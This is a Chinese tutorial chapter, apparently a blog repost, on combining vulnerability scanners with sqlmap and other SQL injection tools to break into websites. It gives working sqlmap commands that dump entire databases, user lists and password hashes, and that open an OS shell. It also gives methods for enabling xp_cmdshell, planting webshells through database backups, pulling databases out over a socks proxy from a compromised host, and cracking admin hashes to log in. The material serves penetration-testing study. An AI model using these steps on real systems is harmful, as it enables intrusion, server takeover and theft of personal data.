sqlmap从入门到精通-第三章-3-8 sqlmap及其他安全工具进行漏洞综合利用

3.8 sqlmap及其他安全工具进行漏洞综合利用

3.8.1 安全工具交叉使用的思路

1. 使用多款漏洞扫描工具进行漏洞扫描

* Acunetix WVS 漏洞扫描工具
* Appscan 漏洞扫描工具
* Hpinspect 漏洞扫描工具
* JSky 漏洞扫描工具
* WebCruiser 漏洞扫描工具
* Netsparker 漏洞扫描工具

2. 对漏洞扫描工具扫描的漏洞进行分析和查看

不同的扫描工具扫描出来的漏洞显示结果方式不一样,AWVS显示出来的漏洞信息较多,需要熟练操作该工具然后验证,但是使用该工具进行利用还是那么多好的条件,相对利用较难,JSky和WebCruiser可以对扫描出来的SQL注入漏洞进行直接利用,个人还是推荐使用AWVS进行漏洞扫描,因为它功能全,特征库全,不推荐JSky,此工具以过时,我实际使用过程中存在一定的问题,有Bug常年失修没人维护,不过WebCruiser这个款工具进行扫描SQL注入漏洞还是比较推荐的,它扫描出来的SQL注入漏洞可以直接利用获取想要的信息。

(1) AWVS发现了SQL盲注漏洞,可以通过"http editor" 获取其数据包,然后将数据包保存为txt文本,使用sqlmap.py -r bmfx.txt进行利用测试

(2) Webcruiser可以直接对SQL注入点进行测试利用,效果相对较好

(3) Jsky和里面的pangolin不推荐使用,有时候明明有SQL注入漏洞,但是注入不出来,感兴趣大家可以自己去研究

3. 高权限漏洞利用思路

在实际的测试过程中,如果发现SQL注入点是高权限用户,那么可以尝试注入点提权或获取webshell,具体思路如下:

(1) 通过出错等方法获取网站的真实路径

(2) 对MSSQL数据库可以通过恢复xp_cmdshell来执行命令

(3) 使用sqlmap直接获取os-shell

sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell
sqlmap.py -d "mssql://sa:[email protected]:1433/master" --os-shell

(4) MySql可以通过loadfile查看配置文件

(5) 如果外网可以直接连接MSSQL数据库,可通过SQLTOOLS来查看磁盘文件

(6) 数据库导出获取webshell,数据库备份获取webshell

4. 低权限注入漏洞利用思路

(1) 对重要数据库中的表进行内容获取
(2) 扫描及获取后台等类地址
(3) 利用获取的前台及后台用户账户和密码进行登录
(4) 从前台及后台来寻找和利用上传漏洞
(5) 通过数据库备份,导入获取权限
(6) 缓存文件修改获取webshell

3.8.2 数据库内容获取思路及方法

日常测试的过程中一定要注意,按照国家法律规定获取500条及以上个人信息数据,将导致验证的法律后果,本节在国家规定范围内获取数据,主要介绍以下具体技术方法

1. 通过脚本完整数据库获取方法
(1) mysql数据库可以通过phpspy进行完整导出,但如果数据库编码格式不一样,在导入数据库的时候,会导致数据出现错误
(2) adminer是"脱裤"利器,支持php环境下的各种数据库完整导出,导出数据库以压缩格式下载,后期数据处理效果也较好

2. 服务器权限数据库获取
(1) MSSQL可以以管理员身份或账户形式登录,然后通过备份需要的数据库,压缩后下载到本地
(2) mysql数据库可以复制到数据目录,即Data目录将数据库复制到其他位置,压缩即可,需要注意的是,MySQL数据库引擎和MyISAM数据库引擎可以直接复制,而InnoDB数据库引擎是将数据保存在内存中,可以修改InnoDB数据库引擎为MyISAM后,即可复制

3. 代理导出数据库到本地
(1) 在获取webshell的服务器上执行代理程序
(2) 在本地使用Navicat Premium,Navicat for SQL Server, Navicat for MySQL和Navicat for Oracle等工具,通过socks代理等直接连接目标服务器,通过数据传输或导出方式,将数据库导出到本地
(3) 直接通过代理将目标数据库数据全部导出到本地数据库,导出SQL文件有时容易出错,特别是大于1G以上的数据文件,难以对查询语句进行修改和调整

4. 小量数据库内容获取方法
(1) sqlmap联合查询方法获取数据库效果最快
sqlmap.py -u url -D databasename --dump-all
(2) 通过pangolin及WebCruiser可以获取重要的部分表数据,选中后可以将其导出到本地
(3) sqlmap导出单个表数据
sqlmap.py -u url -D databasename -T admin --dump

获取数据的方式参考:
https://www.t00ls.net/articles-24256.html

3.8.3 对某网站的一次漏洞扫描及漏洞利用示例

1. 使用Acunetix WVS对目标站点进行漏洞扫描
(1) 查看扫描结果
(2) 通过HTTP Editor来查看数据,展开该漏洞信息,可以看到具体受影响的参数为id,要验证确认该参数是否真实存在漏洞,那么就可以选中" Launch the attack with HTTP Editor" 选项按钮,此时便可以打开HTTP数据包编辑器,能够查看到完整的HTTP头消息
(3) 选中"Text Only" 然后保存HTTP数据包头文件,通过使用sqlmap -r参数读取并解析该文件进行注入测试

2. 使用WebCruiser进行二次交叉扫描
可以通过先Netsparker进行扫描,然后再使用Webcruiser进行漏洞的二次扫描通过交叉扫描获取更多的漏洞信息

3. 进行实际注入漏洞测试
(1) Pangolin SQL注入攻击
(2) 使用WebCruiser进行注入点漏洞测试
(3) 使用Havij进行注入漏洞及后台扫描测试

4. 使用WebCruiser进行数据获取

5. 使用sqlmap进行SQL注入测试到数据获取
(1) 注入点确认
sqlmap.py -u http://xxx.com/detail.php?id=1
(2) 获取基本信息
sqlmap.py -u http://xxx.com/detail.php?id=1 --dbs --current-db --current-user --users --passwords --is-dba
(3) 对数据库表进行列获取
sqlmap.py -u http://xxx.com/detail.php?id=1 -D bmfxdata -T public_login --columns
(4) 数据库单个表获取
sqlmap.py -u http://xxx.com/detail.php?id=1 --dbms=mysql -D bmfxdata -T admin_login --dump
(5) 获取当前数据库的所有数据
sqlmap.py -u http://xxx.com/detail.php?id=1 -D bmfxdata --dump-all
(6) 数据会保存在当前用户的目录下
一般在output目录下,每次注入完成sqlmap会提示保存在哪个目录下面

6. webshell获取
至此,目标的数据库全部获取完毕,后续可以对管理员所对应的密码进行暴力破解,然后通过后台进行登录,寻找webshell获取
(1) MD5暴力破解的两个在线站点cmd5网站和somd5网站
(2) 后台登录及webshell获取

 

猜你喜欢

转载自www.cnblogs.com/autopwn/p/13163374.html